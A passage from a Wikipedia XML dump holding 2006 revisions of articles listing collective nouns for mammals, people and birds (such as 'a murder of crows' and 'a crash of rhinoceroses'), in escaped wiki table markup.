| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[porpoise|porpoises]] 
| A turmoil of porpoises
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[porpoise|porpoises]] 
| A pod of porpoises
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[possum|possum]] 
| A passel of possum
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[dog|puppies]] 
| A litter of puppies
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rabbit|rabbits]] 
| A bury of rabbits
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rabbit|rabbits]] 
| A colony of rabbits
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rabbit|rabbits]] 
| A nest of rabbits
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[raccoon|raccoons]] 
| A gaze of raccoons
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[horse|racehorses]] 
| A field of racehorses
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rat|rats]] 
| A colony of rats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rat|rats]] 
| A pack of rats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rat|rats]] 
| A rabble of rats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rat|rats]] 
| A swarm of rats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|-  
! [[rhinoceros|rhinoceroses]] 
| A crash of rhinoceroses
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[deer|roes]] 
| A bevy of roes
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[seal (mammal)|seals]] 
| A colony of seals (on land)
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[seal (mammal)|seals]] 
| A plum of seals
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[seal (mammal)|seals]] 
| A pod of seals
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[seal (mammal)|seals]] 
| A raft of seals (in the water)
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[seal (mammal)|seals]] 
| A spring of seals
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[sheep|sheep]] 
| A flock of sheep
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[sheep|sheep]] 
| A trip of sheep
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[dog|show dogs]] 
| A bench of show dogs
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[squirrel|squirrels]] 
| A church of squirrels
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[squirrel|squirrels]] 
| A dray of squirrels
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[swine|swine]] 
| A drift of swine
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[swine|swine]] 
| A sounder of swine
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[tiger|tigers]] 
| A streak of tigers
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[tiger|tigers]] 
| An ambush of tigers
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[walrus|walruses]] 
| A herd of walruses
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[walrus|walruses]] 
| An ugly of walruses
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[weasel|weasels]] 
| A sneak of weasels
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[whale|whales]] 
| A gam of whales
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[whale|whales]] 
| A herd of whales
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[whale|whales]] 
| A pod of whales
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[whale|whales]] 
| A school of whales
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[wolf|wolves]] 
| A pack of wolves
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[wolf|wolves]] 
| A rout of wolves
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[zebra|zebra]] 
| A herd of zebra
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[zebra|zebra]] 
| A zeal of zebra
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|} 


==Notes==
* The phrase &quot;A court of kangaroos&quot; is frequently thought to be legitimate, given the (quite unrelated) expression &quot;a [[kangaroo court]]&quot;. There is no known evidence of its legitimacy as a collective noun, however.
* A &quot;complaint of camels&quot; was formerly common in Australia due to the poem &quot;The Plaint of the Camel&quot; by Charles Edward Carryl, which was part of the primary school syllabus for many years.

==See also ==
* [[Collective noun]]

[[Category:Lists of collective nouns|Mammals]]</text>
    </revision>
  </page>
  <page>
    <title>List of collective nouns for people</title>
    <id>7152</id>
    <revision>
      <id>41970373</id>
      <timestamp>2006-03-02T23:26:02Z</timestamp>
      <contributor>
        <ip>203.56.22.126</ip>
      </contributor>
      <text xml:space="preserve">This is a ''' list of collective nouns for people'''.

&lt;table border = 0&gt;
&lt;tr&gt;&lt;td&gt; '''SUBJECT''' &lt;/td&gt;&lt;td&gt;'''COLLECTIVE TERM'''&lt;/td&gt;&lt;td&gt; &lt;center&gt;'''STATUS'''&lt;/center&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[academic]]s''' &lt;/td&gt;&lt;td&gt;A faculty of academics&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[actor]]s''' &lt;/td&gt;&lt;td&gt;A cast of actors&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[actor]]s''' &lt;/td&gt;&lt;td&gt;A company of actors&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[beauty|beauties]]''' &lt;/td&gt;&lt;td&gt;A bevy of beauties&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bishop]]s''' &lt;/td&gt;&lt;td&gt;A bench of bishops&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[employee]]s''' &lt;/td&gt;&lt;td&gt;A staff of employees&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[expert]]s''' &lt;/td&gt;&lt;td&gt;A panel of experts&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[geek|geeks]]''' &lt;/td&gt;&lt;td&gt;A bunch of geeks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[hoodlum]]s''' &lt;/td&gt;&lt;td&gt;A gang of hoodlums&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[horse|horsemen]]''' &lt;/td&gt;&lt;td&gt;A cavalcade of horsemen&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[knight]]s''' &lt;/td&gt;&lt;td&gt;A banner of knights&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[knight]]s''' &lt;/td&gt;&lt;td&gt;A rout of knights&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[logician|logicians]]''' &lt;/td&gt;&lt;td&gt;A [[Non_sequitur_%28logic%29 | sequitur]] of logicians&lt;/td&gt;&lt;td&gt; &lt;center&gt;Attributed to [[Bertrand Russell]]&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[man|men]]''' &lt;/td&gt;&lt;td&gt;A band of men&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[mourning|mourners]]''' &lt;/td&gt;&lt;td&gt;A cortege of mourners&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[indigenous people|native]]s''' &lt;/td&gt;&lt;td&gt;A tribe of natives&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[performing arts|performers]]''' &lt;/td&gt;&lt;td&gt;A troupe of performers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[player]]s''' &lt;/td&gt;&lt;td&gt;A team of players&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[politician]]s''' &lt;/td&gt;&lt;td&gt;A senate of politicians&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[priest]]s''' &lt;/td&gt;&lt;td&gt;A pontification of priests&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[psychologist]]s''' &lt;/td&gt;&lt;td&gt;A madness of psychologists&lt;/td&gt;&lt;td&gt; &lt;center&gt;Proposed by [[User:JTBurman | J.T. Burman]]&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[sailor]]s''' &lt;/td&gt;&lt;td&gt;A crew of sailors&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[soldier]]s''' &lt;/td&gt;&lt;td&gt;A brigade of soldiers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[soldier]]s''' &lt;/td&gt;&lt;td&gt;A company of soldiers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[soldier]]s''' &lt;/td&gt;&lt;td&gt;A division of soldiers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[soldier]]s''' &lt;/td&gt;&lt;td&gt;A platoon of soldiers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[soldier]]s''' &lt;/td&gt;&lt;td&gt;A squad of soldiers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[soldier]]s''' &lt;/td&gt;&lt;td&gt;A regiment of soldiers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[student]]s''' &lt;/td&gt;&lt;td&gt;A class of students&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[student]]s''' &lt;/td&gt;&lt;td&gt;A cohort of students&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[thief|thieves]]''' &lt;/td&gt;&lt;td&gt;A den of thieves&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[vampire]]s''' &lt;/td&gt;&lt;td&gt;A kiss of vampires&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[witch]]es''' &lt;/td&gt;&lt;td&gt;A coven of witches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[worship]]ers''' &lt;/td&gt;&lt;td&gt;A congregation of worshipers&lt;/td&gt;&lt;td&gt; 
&lt;/table&gt;


==See also==
* [[Collective noun]]

[[Category:Lists of collective nouns|People]]</text>
    </revision>
  </page>
  <page>
    <title>List of collective nouns for birds</title>
    <id>7153</id>
    <revision>
      <id>40362168</id>
      <timestamp>2006-02-20T01:40:35Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">See also [[Collective noun]].

&lt;table border = 0&gt;
&lt;tr&gt;&lt;td&gt; '''SUBJECT''' &lt;/td&gt;&lt;td&gt;'''COLLECTIVE TERM'''&lt;/td&gt;&lt;td&gt; &lt;center&gt;'''STATUS'''&lt;/center&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[auk|auks]]''' &lt;/td&gt;&lt;td&gt;A raft of auks&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bird|birds]]''' &lt;/td&gt;&lt;td&gt;A dissimulation of birds&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bird|birds]]''' &lt;/td&gt;&lt;td&gt;A volery of birds&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bird|birds]]''' &lt;/td&gt;&lt;td&gt;A covey of birds&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bittern|bitterns]]''' &lt;/td&gt;&lt;td&gt;A sedge of bitterns&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bittern|bitterns]]''' &lt;/td&gt;&lt;td&gt;A siege of bitterns&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bullfinch|bullfinches]]''' &lt;/td&gt;&lt;td&gt;A bellowing of bullfinches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[buzzard|buzzards]]''' &lt;/td&gt;&lt;td&gt;A wake of buzzards&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[capon|capons]]''' &lt;/td&gt;&lt;td&gt;A mews of capons&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[chicken|chickens]]''' &lt;/td&gt;&lt;td&gt;A peep of chickens&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[chicken|chicks]]''' &lt;/td&gt;&lt;td&gt;A clutch of chicks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[chicken|hens]]''' &lt;/td&gt;&lt;td&gt;A brood of hens&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[chicken|poultry]]''' &lt;/td&gt;&lt;td&gt;A run of poultry&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[chough|choughs]]''' &lt;/td&gt;&lt;td&gt;A clattering of choughs&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[coot|coots]]''' &lt;/td&gt;&lt;td&gt;A cover of coots&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[coot|coots]]''' &lt;/td&gt;&lt;td&gt;A raft of coots&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[cormorant|cormorants]]''' &lt;/td&gt;&lt;td&gt;A flight of cormorants&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crane (bird)|cranes]]''' &lt;/td&gt;&lt;td&gt;A sedge of cranes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crow|crows]]''' &lt;/td&gt;&lt;td&gt;A horde of crows&lt;/td&gt;&lt;td&gt; &lt;center&gt;Uncertain&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crow|crows]]''' &lt;/td&gt;&lt;td&gt;A hover of crows&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crow|crows]]''' &lt;/td&gt;&lt;td&gt;A murder of crows&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crow|crows]]''' &lt;/td&gt;&lt;td&gt;A muster of crows&lt;/td&gt;&lt;td&gt; &lt;center&gt;Uncertain&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crow|crows]]''' &lt;/td&gt;&lt;td&gt;A parcel of crows&lt;/td&gt;&lt;td&gt; &lt;center&gt;Uncertain&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crow|crows]]''' &lt;/td&gt;&lt;td&gt;A storytelling of crows&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[curlew|curlews]]''' &lt;/td&gt;&lt;td&gt;A head of curlews&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[dotterel|dotterel]]''' &lt;/td&gt;&lt;td&gt;A trip of dotterel&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[dove|doves]]''' &lt;/td&gt;&lt;td&gt;A dole of doves&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[dove|doves]]''' &lt;/td&gt;&lt;td&gt;A dule of doves&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[dove|doves]]''' &lt;/td&gt;&lt;td&gt;A flight of doves&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[dove|doves]]''' &lt;/td&gt;&lt;td&gt;A piteousness of doves&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[dove|doves]]''' &lt;/td&gt;&lt;td&gt;A pitying of doves&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[dove|doves]]''' &lt;/td&gt;&lt;td&gt;A prettying of doves&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[duck|ducks]]''' &lt;/td&gt;&lt;td&gt;A dopping of ducks (diving)&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[duck|ducks]]''' &lt;/td&gt;&lt;td&gt;A plump of ducks (flying)&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[duck|ducks]]''' &lt;/td&gt;&lt;td&gt;A paddling of ducks (on water)&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[duck|ducks]]''' &lt;/td&gt;&lt;td&gt;A flush of ducks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[duck|ducks]]''' &lt;/td&gt;&lt;td&gt;A raft of ducks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[duck|ducks]]''' &lt;/td&gt;&lt;td&gt;A team of ducks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[dunlin|dunlin]]''' &lt;/td&gt;&lt;td&gt;A fling of dunlin&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[eagle|eagles]]''' &lt;/td&gt;&lt;td&gt;A convocation of eagles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[falcon|falcons]]''' &lt;/td&gt;&lt;td&gt;A cast of falcons&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[finch|finches]]''' &lt;/td&gt;&lt;td&gt;A charm of finches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[finch|finches]]''' &lt;/td&gt;&lt;td&gt;A trembing of finches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[finch|finches]]''' &lt;/td&gt;&lt;td&gt;A trimming of finches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[flamingo|flamingoes]]''' &lt;/td&gt;&lt;td&gt;A stand of flamingoes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goldfinch|goldfinches]]''' &lt;/td&gt;&lt;td&gt;A drum of goldfinches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goldfinch|goldfinches]]''' &lt;/td&gt;&lt;td&gt;A troubling of goldfinches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goldfinch|goldfinches]]''' &lt;/td&gt;&lt;td&gt;A charm of goldfinches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goose|geese]]''' &lt;/td&gt;&lt;td&gt;A wedge of geese (flying)&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goose|geese]]''' &lt;/td&gt;&lt;td&gt;A flock of geese&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goose|geese]]''' &lt;/td&gt;&lt;td&gt;A gaggle of geese&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goose|geese]]''' &lt;/td&gt;&lt;td&gt;A nide of geese&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goose|geese]]''' &lt;/td&gt;&lt;td&gt;A skein of geese&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goose|geese]]''' &lt;/td&gt;&lt;td&gt;A plump of geese (on water)&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[goshawk|goshawks]]''' &lt;/td&gt;&lt;td&gt;A flight of goshawks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[grouse|grouse]]''' &lt;/td&gt;&lt;td&gt;A covey of grouse&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[grouse|grouse]]''' &lt;/td&gt;&lt;td&gt;A lek of grouse&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
